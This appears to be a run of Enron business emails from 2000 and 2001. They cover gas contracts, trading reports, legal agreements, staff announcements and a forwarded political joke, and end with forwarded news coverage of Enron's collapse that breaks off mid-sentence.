Mark: It was great to "meet" you this afternoon -- as a tech lawyer, I have 
been following? Enron's impressive on-line activities and nimble evolution as 
a true new economy company? . . . I? thought I? would mention that our 
Technology Group has worked on, and is currently involved in, a number of 
b-to-b exchanges, on behalf of both investors and technology providers 
(including the petroleum, chemicals and logistics industries). We have been 
actively involved in structuring, formation and financing issues in 
particular and have advised on technology, corporate, tax, employee benefit 
and IP issues as well. Please let me know if, as the ETE evolves, we can be 
of any assistance to you. You can reach me via e-mail or by phone at 
212-530-5720.

Regards,

Dan Mummery 

Please find enclosed the term sheet for the physical deal we are working on.

The Unit Outage (Gurantee Generation) deal is primarily physical but can be 
settled financially.

The Stream Flow deal and a standard CDD Call deal is financial only.

Pl call me if you need further information.

Thanks,

Sanjeev

Sanjeev K Khanna    Email:  Sanjeev.Khanna@enron.com
Director      Tel:  (713) 853-3849
Enron Global Markets    Cell:  (713) 594-1832
1400 Smith Street, Suite 3004F   Pager:  (877) 497-1217
Houston TX 77002     Fax:  (713) 646-3220
           
This is a good time to bring this up.  Unless the original CES agreement has 
changed, ENA will pay CALP a monthly demand charge of $103,417 from 1/1/2000 
- 4/30/2000.  From 6/1/2000 - 7/7/2000, ENA will pay a (volumetric) demand 
charge of $.02/mmbtu to CALP for any volumes utilized by ENA.

Which brings up 2 important points;
 1.The month of May has not been addressed which means Robin needs to discuss 
this with CALP (and she may have already)
     However, currently we will not be showing any demand estimates for May.

 2.  It's a new ball game starting 7/8/2000.

Comments/questions?

---------------------- Forwarded by Chris Germany/HOU/ECT on 04/10/2000 05:57 

Brenda H Fletcher
04/10/2000 04:37 PM
cc: Scott Goodell/Corp/Enron@ENRON 
Subject: CGAS contract 64231

This contract is on the ECT April spreadsheet under CES Wholesale.  What is 
the relationship between ENA and Commonwealth Atlantic?
(Who pays transport invoice?  Any reimbursements?)

Thanks,
Brenda

I am indeed logged into MSN.  I wonder if ENE zapped MSN for outside people.  I'll look into it. K.

From: John Watson [mailto:john.watson@pdq.net]
Sent: Friday, November 09, 2001 1:31 PM
To: Watson, Kimberly
Subject: RE: Are you there?

I'm here...you're not showing as "on line"...

From: Watson, Kimberly [mailto:Kimberly.Watson@ENRON.com]
Sent: Friday, November 09, 2001 12:37 PM
To: john.watson@pdq.net
Subject: Are you there?

Are you logged in?  I've lost you in my MSN messenger list.  I'm not
sure what happened.  Are you there?  K.

Thank you.

I would like to be able to run "Facilitation By Location" with the following 
criteria
1.  I want to pick the counterparty or leave it blank.
2.  I want to enter a date range ==> 02/01/2001 to 02/11/2001
3.  I want to be able to select one or more pipelines without choosing a desk.

	From:  Katherine L Kelly                           02/26/2001 03:55 PM
	
To: Victor Lamadrid/HOU/ECT@ECT, Beverly Beaty/HOU/ECT@ECT, Chris 
Germany/HOU/ECT@ECT, Scott Goodell/Corp/Enron@ENRON, Judy 
Townsend/HOU/ECT@ECT, Dan Junek/HOU/ECT@ECT
cc:  
Subject: RE: CPR reports

Ok, looks like we got some attention.  Please let me know which ones you 
think and I'll consolidate and forward to Felicia.
---------------------- Forwarded by Katherine L Kelly/HOU/ECT on 02/26/2001 
03:53 PM ---------------------------
From: Felicia Ma/ENRON@enronXgate on 02/26/2001 03:02 PM
To: Katherine L Kelly/HOU/ECT@ECT, Terry Sanvido/ENRON@enronXgate
cc:  

Could you give me a list of reports you need on a particular pipe regardless 
of desks? 

Thanks,
Felicia

From:  Sanvido, Terry  
Sent: Monday, February 26, 2001 2:24 PM
To: Ma, Felicia
Subject: FW: CPR reports

Felicia,

Would you please look into this.

Thank You,

Terry

From:  Kelly, Katherine  
Sent: Monday, February 26, 2001 9:13 AM
To: Sanvido, Terry
Cc: Lamadrid, Victor; Beaty, Beverly; Germany, Chris; Goodell, Scott; Junek, 
Dan; Townsend, Judy
Subject: CPR reports

Terry, 

Unless I'm missing something, it does not appear that there is a way for us 
to run a CPR report that shows all business done on a particular pipe 
regardless of desks.  For example, if I want to see all business that is 
being done on Transco, I must run the report for both the Northeast desk and 
the Market East desk.  This next weekend, the east is to be split into 12 
different desks, which will only complicate the issue even more.  

Russ Severson has the position screen set so that all business will roll into 
one position manager.  Is there any way that we get something similar from 
the reporting environment.  I'm thinking that the easiest way might be to 
have the ability to select just a pipe without being forced to select a desk 
first when submitting a report.  

Please let me know your thoughts on this.

Thanks!

Kathy

The Enron Board of Directors today accepted the resignation of Rebecca P. 
Mark.  Azurix Corp. also announced today that Rebecca has resigned as Azurix 
chairman and CEO and will pursue opportunities as an investor in the water 
resource business.  Azurix President and Chief Operating Officer John L. 
Garrison has been elected president and CEO.  In addition, Herbert S. "Pug" 
Winokur, Jr., currently chairman of the audit and finance committee of the 
Azurix board of directors, has been elected interim chairman.  

Over the past 15 years, Rebecca has made tremendous contributions to Enron.  
Her leadership was instrumental in building our world-class international 
businesses and in advancing innovative approaches in the global water 
business, and we want to thank her for her service to Enron and Azurix.  
Please join us in wishing Rebecca well in her future endeavors and in 
thanking John and Pug for their leadership.

Steve,

Here are the adjusted 714 hourly loads.  I verified that they now are exactly trued up to the WSCC data.  For your records, the following load areas were not included in this years 714 forms:

CA - Place County Water Authority, City of Riverside
DSW - Plains Elec Gen & Trans
PNW-US - Clark County PUD, PEND, WA Water Power (Avista)
RM - WAPA Loveland, WAPA Salt Lake City

Also, as discussed, WAPA Billings was not used.

Mat

EBC Property, LLC

This limited liability company was formed in Delaware on May 10, 2001.  Particulars are:

	Parent Company:	Enron Energy Services Operations, Inc. - 100%

	Business:	To acquire underdeveloped real estate in various states.

	Employees:	Yes

	Company No.:	1614-EBCP

	Barbara Hankins - copy of evidence being sent by interoffice mail
	Sally Seelig - please apply for FEIN

EB4804A

I heard a great report the other day from David Hill that you guys made it 
through the Oriskany without any interesting pyrotechnics!  What a 
disappointment that must have been for Karol Lynn and CNG!  Sounds like a 
pretty boring operation up there, otherwise I might be tempted to drop by and 
see the show.  Also heard that the knuckleheads from Bath got thrown out of 
court on their antitrust suit.  Shit, all you needed to do all along was get 
rid of me and things started falling into place!!!

Best wishes for continued success--and Siguaw, stay the hell out of trouble!  
AMFDJF 

As we discussed, attached is the revised guaranty.

Mary Cook

here is the new comp program for enron - i think i will pay extra for the 
advanced laptop.  what do you think of the options?     - eric

Tana:

No change to profiles for Utilicorp. United Inc. or Calpine Power Services 
Company -- these entities are authorized to trade US power.

Constellation Energy Source, Inc. is NOT authorized -- restricted by credit.

Leslie

Hello guys!

   Here is the detail for the annuities for ancillaries on PNM transmission for August 2001.
    
Total ST_SW Annuity #  775592.1 for $79.94				
Total ST_WROCKIES Annuity #  775676.1for $31.97				

   Please let me know if you have any questions.

   Virginia

Take a look at the California send out numbers for 11/15 and 11/16.  We're 
really pushing the envelope here.  Collectively, SoCal and PG&E are having to 
withdraw over 2 Bcf/d in order to meet demand.  This situation is precisely 
what we've predicted would happen in a gas short marketplace.  Look for this 
shortage to be exacerbated in the next few years with the addition of the new 
EOC power plants, particularly, when the power is most likely going to be 
used to serve native markets, not the Cal. ISO/PX with its "price cap" 
feature.

I am fine with this amendment to the Transaction Agreement.
----- Forwarded by Stacy E Dickson/HOU/ECT on 06/05/2001 01:47 PM -----

	m.klyasheff@pecorp.com
	06/04/2001 03:37 PM
		 
		 To: roy.rodriguez@enron.com
		 cc: r.dobson@pecorp.com, Gregg.Penman@enron.com, Stacy.E.Dickson@enron.com
		 Subject: RE: Allegheny/enovate Master Agreement

 Attached, for your review and per your request, is a draft amendment
to the Allegheny/enovate Transaction Confirmation to establish a different
definition of "force majeure."

 <<Allegheny Tr Confirm Amend 1 06-01-01.doc>>

> From:  Roy.Rodriguez@enron.com[SMTP:Roy.Rodriguez@enron.com]
> Sent:  Monday, June 04, 2001 2:54 PM
> To:  m.klyasheff@pecorp.com
> Subject:  Re: Allegheny/enovate Master Agreement
>
>
>
> Mary,  I apologized about this change but enovate has decided to amend the
> executed Transaction Agreement (instead of the Master) due potential
> future
> business with Allegheny.  Can you please change this document so it fits
> within the Transaction Agreement.  I just received the executed copies
> today, I can fax you the document if you wish.
>
> I assume and prefer that the amendment is a separate document.
>
> thanks Mary,
>
> Roy Rodriguez
> enovate, LLC
> 312-541-1253
>
>
>
>
>                     m.klyasheff@p
>
>                     ecorp.com            To:     r.dobson@pecorp.com
>
>                                          cc:
> Stacy.E.Dickson@enron.com, Gregg.Penman@enron.com,
>                     06/01/2001           roy.rodriguez@enron.com
>
>                     08:20 AM             Subject:     Allegheny/enovate
> Master Agreement
>
>
>
>
>
>
>
>
>      Per your request, attached, for your review, is a draft Amendment
> No. 1 to the Allegheny/enovate Master Agreement.
>
>  <<Allegheny Master Amend 1 06-01-01.doc>>
>
>
> Mary Klyasheff
> 312-240-4410
>
>
> ----------------------------------------------------------------
> The information transmitted is intended only for the person
> or entity to which it is addressed and may contain confidential
> and/or privileged material.  Any review, retransmission,
> dissemination or other use of, or taking of any action in reliance
> upon, this information by persons or entities other than the
> intended recipient is prohibited. If you received this in error,
> please contact the sender and delete the material from any computer.
>
> (See attached file: Allegheny Master Amend 1 06-01-01.doc)
>
>

 - Allegheny Tr Confirm Amend 1 06-01-01.doc

Attached are  EES's Volumetric NYMEX and Basis positions for 6/29/2000.    
Kyle will be out of the office for the rest of the week.  If you have any 
questions, you may contact me at X3-5070.

Thanks,

Monica Hwang

----- Forwarded by Stuart Zisman/HOU/ECT on 08/17/2000 04:48 PM -----

	"S Chan" <sac8@hotmail.com>
	08/17/2000 04:10 PM
		 
		 To: stuart.zisman@enron.com
		 cc: 
		 Subject: Chan's resume

Hi Stuart:? As I mentioned in my phone call, based upon my strengths and 
personal talents, I have decided to return to the corporate environment (I 
had worked for Mobil Oil, First City National Bank and the Federal Deposit 
Insurance Corporation prior to law school) from the private practice of law.? 
If you or others within Enron are?looking to add a corporate 
finance/commercial transactions attorney with good business sense and legal 
judgment, I welcome the opportunity to visit with you. 

Attached is my resume.?I?have successfully closed hundreds of transactions 
during 7?years in the Real Estate Energy and Finance section of Bracewell & 
Patterson and 1
?years practicing in the areas of Banking and Finance, Energy 
and Commercial Transactions at Locke Liddell & Sapp, where I am currently 
Senior Counsel. 

If you are interested in discussing with me?your department's legal 
work?and/or my ability to contribute to Enron, please call me at (713)?298-
3883 or respond by email.? I appreciate your sharing my resume with Ms. Julia 
Heintz Murray and Mr. Scott Sefton if either of them is likely to need an 
attorney with my capabilities?at this time.

Stephen A. Chan

Attachment

?

 - antal731.doc

Just so you are aware:  The net schedule C number on the West Desk remained 
the same.  However,  Keith Holst pulled $40 Million from his reserve and 
Phillip Allen added $40 million to his reserve.

JG

---------------------- Forwarded by Darron C Giron/HOU/ECT on 10/25/2000 
11:13 AM ---------------------------

10/25/2000 11:04 AM
To: Dawn C Kenne/HOU/ECT@ECT, Darron C Giron/HOU/ECT@ECT, William 
cc:  
Subject: Fw: Jim Lehrer interviews Gore and Bush

This is pretty funny.
---------------------- Forwarded by Jeffrey C Gossett/HOU/ECT on 10/25/2000 
11:03 AM ---------------------------

"Josh Fetner" <jfetner@ev1.net> on 10/23/2000 11:33:23 AM

> Jim Lehrer: Welcome to the second presidential debate
> between Vice President Al Gore and Gov. George W. Bush.
> The candidates have agreed on  these rules: I will ask a question.
> The candidate will ignore the question and deliver rehearsed
> remarks designed to appeal to undecided women voters.
>
> The opponent will then have one minute to respond by
> trying to frighten senior citizens into voting for him. When a
> speaker's time has expired, I will whimper softly while he
> continues to spew incomprehensible statistics for three
> more minutes.
>
> Let's start with the vice president. Mr. Gore, can you
> give us the name of a downtrodden citizen and then tell us
> his or her story in a way that strains the bounds of common
> sense?
>
> Gore: As I was saying to Tipper last night after we tenderly made
> love the way we have so often during the 30 years of our rock-solid
> marriage, the downtrodden have a clear choice in this election.
>
> My opponent wants to cut taxes for the richest 1 percent of
> Americans. I, on the other hand, want to put the richest 1 percent in
> an ironclad lockbox so they can't hurt old people like Roberta
> Frampinhamper, who is here tonight.
>
> Mrs. Frampinhamper has been selling her internal organs, one by one,
> to pay for gas so that she can travel to these debates and personify
> problems for me. Also, her poodle has arthritis.
>
> Lehrer: Gov. Bush, your rebuttal.
>
> Bush: Governors are on the front lines every day, hugging people,
> crying with them, relieving suffering anywhere a photo opportunity
> exists.
>
> I want to empower those crying people to make their own
> decisions, unlike my opponent, whose mother is not Barbara Bush.
>
> Lehrer: Let's turn to foreign affairs. Gov. Bush, if Slobodan
> Milosevic were to launch a bid to return to power in Yugoslavia,
> would you be able to pronounce his name?
>
> Bush: The current administration had eight years to deal with that
> guy and didn't get it done. If I'm elected, the first thing I would
> do about that guy is have Dick Cheney confer with our allies. And
> then Dick would present me several options for dealing with that guy.
> And then Dick would tell me which one to choose. You know, as
> governor of Texas, I have to make tough foreign policy decisions
> every day about how we're going to deal with New Mexico.
>
> Lehrer: Mr. Gore, your rebuttal.
>
> Gore: Foreign policy is something I've always been keenly
> interested in. I served my country in Vietnam. I had an uncle who
> was a victim of poison gas in World War I. I myself lost a leg in the
> Franco-Prussian War. And when that war was over, I came
> home and tenderly made love to Tipper in a way that any undecided
> woman voter would find romantic.
> If I'm entrusted with the office of president, I pledge to deal
> knowledgeably with any threat, foreign or domestic, by putting it in
> an ironclad lockbox. Because the American people deserve a president
> who can comfort them with simple metaphors.
>
> Lehrer: Vice President Gore, how would you reform the Social Security
> system?
>
> Gore: It's a vital issue, Jim. That's why Joe Lieberman and I have
> proposed changing the laws of mathematics to allow us to give $50,000
> to every senior citizen without having it cost the federal treasury a
> single penny until the year 2250.
> In addition, my budget commits $60 trillion over the next 10 years to
> guarantee that all senior citizens can have drugs delivered free to
> their homes every Monday by a federal employee who will also help
> them with the child-proof cap.
>
> Lehrer: Gov. Bush?
>
> Bush: That's fuzzy math. I know, because as governor of Texas, I have
> to do math every day. I have to add up the numbers and decide whether
> I'm going to fill potholes out on Rt. 36 east of Abilene or commit
> funds to reroof the sheep barn at the Texas state fairgrounds.
>
> Lehrer: It's time for closing statements.
>
> Gore: I'm my own man. I may not be the most exciting politician, but
> I will fight for the working families of America, in addition to
> turning the White House into a lusty pit of marital love for Tipper
> and me.
>
> Bush: It's time to put aside the partisanship of the past by electing
> no one but Republicans.
> Lehrer: Good night.
>
>

This link should get you access to our Financial Trading, or "Master Swap 
Agreement" database.  This database lists all the master swap agreements we 
have in place or have drafted in the US, London, Singapore, Japan, South 
America, etc..  It is a very good resource to use when preparing 
confirmations.  This database is available to all Enron employees, so feel 
free to send this link to any London employees you think might find it 
helpful.  There are certain comments concerning the status of masters under 
negotiation that are only available to Legal and Credit employees because of 
legal-client confidentiality concerns.  Any member of your legal team should 
be able to look at those comments to determine if there is active/close 
negotiation on a master, or if a master is being amended, what the amendments 
might address (sometimes helpful when Houston isn't at work yet!).  
Frequently there may be more than one master in place for an Enron company, 
so look at each entry to determine whether the master is limited to a 
specific finance project or product (unusual, but sometimes).  Also, as I 
mentioned, not all the US based masters are ISDA Multi-Currency Masters, so 
look to confirm what type of master we entered into.  If they are not ISDA 
Multi-Currency Masters, it may not be possible to put a cross-border trade 
under the master without some modification to the master or confirmation.

Please note:  there is a listing for "Restrictions" which will reflect any 
trading limitations such as "crude oil trades only", "no trades over 2 
years", contain special confirmation issues or list other types of trading 
limitations.  Restrictions should ALWAYS be looked at because they contain 
critical trading guidance.  Another note to watch out for is that many US 
based master may have Texas law instead of NY.  Certainly not UK law.  We 
hope to have that information available in the database in the future.

If for some reason you can't access this database, let me know and we'll get 
our respective computer people to figure out why.

As I mentioned, I am a paralegal in the Houston swap group and am happy to 
answer any questions about particular masters, so please do not hesitate to 
call me at x33399.

Link -->  

A full list of articles will be sent on Monday, but here is some initial co=
verage from yesterday and today...

IN THE MONEY: Enron - From Energy Trader To Spinmeister
By Carol S. Remond

11/23/2001
Dow Jones News Service=20
(Copyright (c) 2001, Dow Jones & Company, Inc.)=20

A Dow Jones Newswires Column=20

(This column was originally published Wednesday.)=20

NEW YORK -(Dow Jones)- With the value of its stock continuing to plummet, E=
nron Corp. (ENE) tried to put on a good face Wednesday by issuing a press r=
elease touting, among other things, increased liquidity.
The problem is that most of the so-called news was three days old, recycled=
 from the company's latest quarterly filing.=20
And investors weren't fooled by the release. Although the stock of the emba=
ttled Houston energy trader regained some ground immediately after the rele=
ase, climbing to $5.35 a share from $4.60, it quickly gave up most of its g=
ains. One hour after the release, Enron stock was back trading at $4.98 a s=
hare, down more than 28% on the day.=20
"They had to say something, but really didn't have any new news. It's quite=
 incredible," said a Wall Street analyst covering Enron.=20
Amid mounting fears that Enron's credit woes could thwart its plan to merge=
 with rival Dynegy Inc. (DYN), a merger that many see as the only way for E=
nron to avoid possible bankruptcy, Enron began its press release by announc=
ing that "it has closed on the remaining $450 million of a previously annou=
nced $1 billion in secured credit lines..."=20
Great news, given the way Enron has been burning through cash. Except that =
investors who took time to read Enron's filing with the Securities and Exch=
ange Commission on Monday already knew that "on November 19, 2001, Enron cl=
osed a $450 million new secured line of credit, which will mature in the fo=
urth quarter of 2002." Readers of the company's 10-Q also knew that the $45=
0 million credit was secured by the assets of Enron's Northern Natural Gas =
Co.=20
Meanwhile, the real news everyone was waiting for, an announcement about wh=
ether a $690 million loan due next Tuesday had been extended, has yet to be=
 finalized.=20
Enron said in its release that it expected that an extension to mid-Decembe=
r would be formalized soon.=20
Separately, people familiar with the matter said J.P. Morgan Chase & Co. an=
d Citigroup Inc. continue to work with Enron to extend the maturity of the =
syndicated loan, which contains a clause that, unbeknownst to many, was tri=
ggered by Enron's ratings downgrade to "BBB-" by Standard & Poor's Corp. ea=
rlier this month. The clause stipulated that Enron would have to repay the =
$690 million note on November 27 if it didn't post collateral.=20
Those people said that the syndicated loan, which is built inside a structu=
red vehicle used to finance minority interests in power and energy sectors =
around the world, would likely be extended to the middle of 2002 when other=
 bank loans to Enron come due. About $1.75 billion of Enron's $3.5 billion =
in syndicated bank loans come due in May 2002 and will likely need to be re=
structured.=20
About $250 million of the assets securing the $690 million loan are in the =
process of being sold and will be used to pay down the loan, reducing the o=
utstanding portion of the loan that will need to be restructured, according=
 to the people familiar with the terms.=20
Meanwhile, Dynegy also tried to rally, although somewhat halfheartedly, inv=
estors around its plan to acquire Enron's stock. Dynegy said it was encoura=
ged by reports that Enron closed on its remaining $450 million credit facil=
ity and news of the extension of the $690 million loan. Under the terms of =
the acquisition, Enron holders would receive 0.2685 Dynegy share for each E=
nron share.=20
Investors, however, remain more circumspect, unmoved by the whopping 104% r=
isk premium currently attached to the merger. (That's how much investors bu=
ying Enron shares would make if the deal was closing Wednesday.)=20
Aside from continued worries about how much bad news may still come, analys=
ts and traders appear particularly concerned with Enron's liquidity, or lac=
k thereof, going forward.=20
"We're having a hard time believing that this new credit infusion (from the=
 banks), even with the $1.5 billion from Dynegy, will provide enough liquid=
ity for Enron," one risk arbitrageur at a New York hedge fund said.=20
As part of the merger agreement between Dynegy and Enron, Chevron Texaco, w=
hich owns 26% of Dynegy, already injected $1.5 billion into Enron. Another =
$1 billion is expected upon closing of the deal.=20

Carol S. Remond, Dow Jones Newswires; 201-938-2074; carol.remond@dowjones.c=
om

...........................................................................=
..........................................................=20

USA: Houston economy seen weathering major layoffs.
By Ellen Chang

Reuters English News Service=20
(C) Reuters Limited 2001.=20

HOUSTON, Nov 23 (Reuters) - Houston's economy, buffered by a broad and dive=
rse tax base, should be able to weather thousands of layoffs from some of t=
he city's major corporations, including energy powerhouse Enron Corp., econ=
omists and analysts said.=20
Financially ailing Enron Corp. , which has 21,000 employees worldwide and i=
s in talks to be bought by Houston-based rival Dynegy Inc. , is the third m=
ajor employer in the city to announce severe financial problems in recent m=
onths. Analysts expect layoffs if the merger occurs.
Continental announced a layoff of 3,000 employees after the Sept. 11 attack=
s and Hewlett-Packard Co.'s plan to buy Compaq Computer Corp. will, if fina=
lized, result in 15,000 layoffs at the two companies. Compaq also announced=
 8,000 layoffs worldwide in July.=20
"It's fair to say that the potential layoffs at Enron and the layoffs at Co=
ntinental, taken alone, are negative factors, although probably small in th=
e grand scope of the Houston economy," said Phil Scheps, director of Housto=
n's finance and administration department.=20
Since last month when Enron became a target of a Securities and Exchange Co=
mmission investigation into financial dealings with partnerships, the energ=
y giant's market share has steadily eroded.=20
While neither Enron nor Dynegy have given any indication of the number of l=
ayoffs that could hit Houston, Barton Smith, director of the Institute for =
Regional Forecasting at the University of Houston, said the layoffs "will b=
e spread out over a long period of time and will not be excessive."=20
Robin Kapiloff, an analyst at Moody's Investors Service, said the city's ef=
forts to diversify its economy over the past decade will protect its revenu=
e collections, even as some of the city's biggest employers suffer. "We're =
watching to see where things go now," she said.=20
Alex Fraser, a director at Standard & Poor's, said the ratings agency isn't=
 concerned about Houston's credit position at this point. "While Enron is c=
ertainly a large player and prominent corporation, we're unclear on what th=
e impact would be."=20
While the fourth largest city in the country experienced a bit of a slowdow=
n since the Sept. 11 attacks, Houston has outperformed the rest of the nati=
on.=20
With a tax base of $87.3 billion in 2001, Houston is also buffered by the T=
exas Medical Center, the city's largest employer. Next year the city's tax =
base is estimated to grow to $95 billion.=20
Still, the national recession, energy price weakness in general, and the in=
itial loss of consumer confidence related to the attacks has caused the cit=
y to reduce its estimate of sales tax growth to 1.5 percent from 5 percent.=
 That revised estimate equals a $13 million reduction in the city's $1.4 bi=
llion budget.=20
But the city's property tax revenue has not been affected. Only a small cha=
nge in property tax collections is expected in 2002 because valuations are =
based on Jan. 1 data and for most of 2001, real estate growth was very larg=
e, Scheps said.=20
While recent economic indicators appear positive, and consumer confidence h=
as quickly rebounded, a better read on the strength of Houston's tax revenu=
e collections will be available in February when the city receives data for=
 the December holiday season, Scheps said.

Meeting in Singapore to discuss Enron's arbitration proceedings against Ind=
ian state

Associated Press Newswires=20
Copyright 2001. The Associated Press. All Rights Reserved.=20

NEW DELHI, India (AP) - A panel of arbitrators will meet in Singapore on Sa=
turday to discuss legal action by Enron Corp. against the western Indian st=
ate of Maharashtra, an Enron official said.=20
The Houston-based company has a 65 percent stake in the Dabhol Power Projec=
t in western India, and is locked in a dispute with the Maharashtra State E=
lectricity Board over unpaid electricity charges.
The Singapore meeting is likely to be followed by arbitration in a London c=
ourt, Dow Jones Newswires reported, quoting an unidentified Enron official =
on Friday.=20
The company suspended operation of the power plant in May and now plans to =
withdraw from India.=20
Enron has invested about dlrs 1 billion in equity of the 2,184 megawatt of =
power project, the largest ever foreign investment in India.=20
Enron sold electricity produced from naphtha to its sole customer, the gove=
rnment-owned power utility in Maharashtra, which found the costs too high.=
=20
The company also served notice to the federal government for not honoring a=
 contract that required the government it to cover the Maharashtra state po=
wer utility's unpaid dues.=20
Earlier this year, Enron's chairman Kenneth Lay wrote to Indian Prime Minis=
ter Atal Bihari Vajpayee threatening to sue the government for up to dlrs 5=
 billion if it did not resolve the dispute.=20
Dabhol Power Co. initiated arbitration against the state government for not=
 honoring guarantees on power bills due for December 2000 and January, this=
 year.=20
The panel, which has been appointed by the Dabhol Power Company and the Mah=
arashtra state government, includes an independent observer.=20
(dj-rkm, ng-kh)

Enron SEC filing contained information Dynegy was unaware of - report

AFX News=20
(c) 2001 by AFP-Extel News Ltd=20

NEW YORK (AFX) - Monday's SEC filing by Enron's Corp contained information =
that proposed buyer Dynegy Inc had not known about, the Wall Street Journal=
 quoted a person familiar with the merger plans as saying.=20
Dynegy representatives plan to work through the weekend evaluating the impo=
rtance of this new information as part of the company's due diligence on En=
ron, the source said, without specifying what the new information was.=20
In the filing, Enron disclosed hundreds of millions of dollars of potential=
 additional write-offs as well as the possibility that its weakening financ=
ial condition could force it to repay more than 2 bln usd in loans by the e=
nd of the year.
Dynegy announced Wednesday that it is working to accelerate regulatory appr=
ovals required to complete the acquisition in accordance with the previousl=
y announced agreement.=20
The Journal quoted analysts as saying Dynegy is coming under increasing pre=
ssure to renegotiate or walk away from the deal.=20
It also cited Fitch director Ralph Pellecchia as saying that, without the D=
ynegy acquisition and continued support from its bankers and customers, an =
Enron bankruptcy-court filing "is highly possible".=20
ss.com

Dynegy's Decision to Buy Enron Hits Crossroads Amid Rising Financial Woes

Dow Jones Business News=20

Even as it reiterated its intention to purchase Enron Corp., Dynegy Inc. is=
 coming under increasing pressure to renegotiate or walk away from the mult=
ibillion-dollar deal, Friday's Wall Street Journal reported.=20
The pressure is stemming from the continuing slide in the price of Enron (E=
NE) shares and the mounting financial problems at the Houston energy-tradin=
g company, the nation's biggest marketer of electricity and natural gas. Du=
ring the past month, Enron has taken a $1 billion write-off of assets, revi=
sed downward the earnings of the past several years and taken a $1.2 billio=
n reduction in shareholder equity.
The problems have been due largely to dealings Enron had with private partn=
erships, run by some of its own executives, under investigation by the Secu=
rities and Exchange Commission. In an SEC filing Monday, Enron disclosed hu=
ndreds of millions of potential additional write-offs as well as the possib=
ility that its weakening financial condition could force it to repay more t=
han $2 billion in loans by the end of the year.=20
As of 4 p.m. Wednesday in New York Stock Exchange composite trading, Enron =
shares fell $1.98, or 28%, to $5.01 each after having dropped 23% Tuesday. =
In excess of 115 million shares traded Wednesday, more than four times the =
volume of any other Big Board stock. Enron's bonds also again traded sharpl=
y lower, market observers said.=20
The turmoil spilled over to Dynegy's stock, which also was among the most a=
ctively traded on the New York Stock Exchange. As of 4 p.m. Wednesday, Dyne=
gy (DYN) shares fell $1.94 to $39.76 each.=20
On Wednesday, Dynegy issued a statement in which Chairman and Chief Executi=
ve Chuck Watson said his company was working "to accelerate the regulatory =
approvals required to complete the merger in accordance with the previously=
 announced agreement" though it continued to perform "due diligence" on Enr=
on.=20
Under the merger agreement, Dynegy has opportunities to renegotiate or walk=
 away from the deal if Enron's financial and legal problems become severe e=
nough. However, some observers said it can be difficult to invoke these so-=
called material adverse change clauses. They point to a decision earlier th=
is year by a Delaware Chancery Court judge who forced Tyson Foods Inc. to c=
omplete a planned purchase of IBP Inc. even though Tyson, a Springdale, Ark=
., food-products company, had wanted to cancel the transaction because of a=
 drop in IBP's earnings and accounting problems at an IBP unit.=20
Dynegy officials didn't return calls seeking comment. To complete the deal,=
 two-thirds of Dynegy shareholders and a majority of Enron shareholders wou=
ld have to give their approval. No dates for those votes have been set.=20
One person familiar with the merger plans said the SEC filing Monday by Enr=
on contained information Dynegy hadn't known about. Dynegy representatives =
planned to work through the weekend evaluating the importance of this new i=
nformation as part of the company's due diligence, this person said. It cou=
ldn't be determined what the new information was.=20
The merger agreement, announced Nov. 9, calls for Dynegy to exchange 0.2685=
 share for each of Enron's roughly 850 million fully diluted shares, giving=
 the purchase a value of about $9 billion at Dynegy's current stock price. =
However, from a price standpoint, the deal is appearing less attractive to =
Dynegy.=20
On the day of the merger announcement, Enron shares were trading at about $=
8.63 each, or about 83% of the purchase price under the exchange ratio. As =
of Wednesday, Enron's market price was only about 47% of the merger-formula=
 price. Such a sharp deterioration is unusual following a merger announceme=
nt, when the stock price of the company being acquired generally begins tra=
ding relatively close to the offering price.=20
Sentiment among Wall Street analysts also is turning against the merger. In=
itially, many analysts lauded the merger as a move that would rescue Enron =
and provide a major boost to Houston-based Dynegy. Dynegy and Enron officia=
ls have predicted that the merger, supposed to be completed late next year,=
 would significantly and immediately increase Dynegy's earnings.=20
Now analysts are challenging that assumption. Ron Barone, managing director=
 at UBS Warburg LLC, said he believes that because of Enron's financial pro=
blems, a combined company would actually have lower earnings next year than=
 Dynegy would have by itself. Mr. Barone said he thinks a "likely scenario"=
 is that the merger formula will be renegotiated sharply down to about 0.15=
 Dynegy share for each Enron share.=20
Copyright (c) 2001 Dow Jones & Company, Inc.=20

Financial Post Investing
Enron casts pall on analysts: 'Everyone had a buy on the stock' all the way=
 down
Steve Maich
Financial Post, with files from news services

National Post=20
National
IN1 / Front
(c) National Post 2001. All Rights Reserved.=20

For thousands of people burned by Enron Corp.'s spectacular implosion, it m=
ust have been tough to feel thankful yesterday.=20
Over the past month, the Houston-based company has admitted its earnings re=
ports going back four years are useless, written down billions in worthless=
 investments, and fired its chief financial officer in a failed bid to shor=
e up its plunging stock.
The slide in Enron's stock (ENE/NYSE) has already wiped out US$67-billion i=
n shareholder wealth. Now it may lose its last lifeline, a US$7.93-billion =
takeover offer from Dynegy Inc.=20
Enron's fall is proving to be more than just a cautionary tale about sketch=
y accounting. The case is raising serious questions about the responsibilit=
y of analysts who strongly recommended a stock that many now admit they nev=
er really understood.=20
"The public isn't going to trust stock analysts for awhile," said Scott Pre=
ston, a San Francisco-based analyst with Research Capital Corp. who does no=
t cover Enron. "Every analyst had a buy on the stock. And it's not like the=
re was only one little issue there. It's a mess and big brokerages were com=
ing out as it was on the way down saying put this thing in your Grandmother=
's [RRSP]."=20
But Wall Street's embarrassment pales next to the pain of shareholders, inc=
luding Enron employees whose pensions were loaded with the stock.=20
"I have lost my savings, my plans for the future, everything," Roy Rinard, =
a long-time Enron staffer, said this week as he announced that employees ha=
ve banded together for a class-action lawsuit against the company.=20
Several analysts have acknowledged that Enron's financial statements were r=
outinely incomprehensible. But with brokerages vying for the millions of do=
llars in equity and bond underwriting business Enron provided every year, m=
any analysts chose to focus on the company's growth, and failed to ask toug=
h questions about its books.=20
Critics say the red flags were waving long ago.=20
The first clear sign of trouble came Aug. 14, when Jeffrey Skilling quit th=
e CEO job he took over just seven months earlier, citing personal reasons. =
Former chief executive Kenneth Lay reclaimed the job. "Our business is stro=
ng and our growth prospects have never been better," Mr. Lay said at the ti=
me.=20
In fact, cracks were already appearing in the business. Enron's plan to sta=
rt trading capacity on fibre optic networks was a costly failure, and the c=
ompany was locked in a prolonged dispute with the Indian government over en=
ergy purchases in the region.=20
In October, Enron surprised investors by reporting its first quarterly loss=
 in more than four years, due in large part to the writedown of US$1-billio=
n in bad investments. Within a week, the U.S. Securities and Exchange Commi=
ssion started investigating Enron's finances.=20
The company soon admitted major accounting errors dating back to 1997. Its =
profits had been overstated by US$586-million, or 20%. The company revealed=
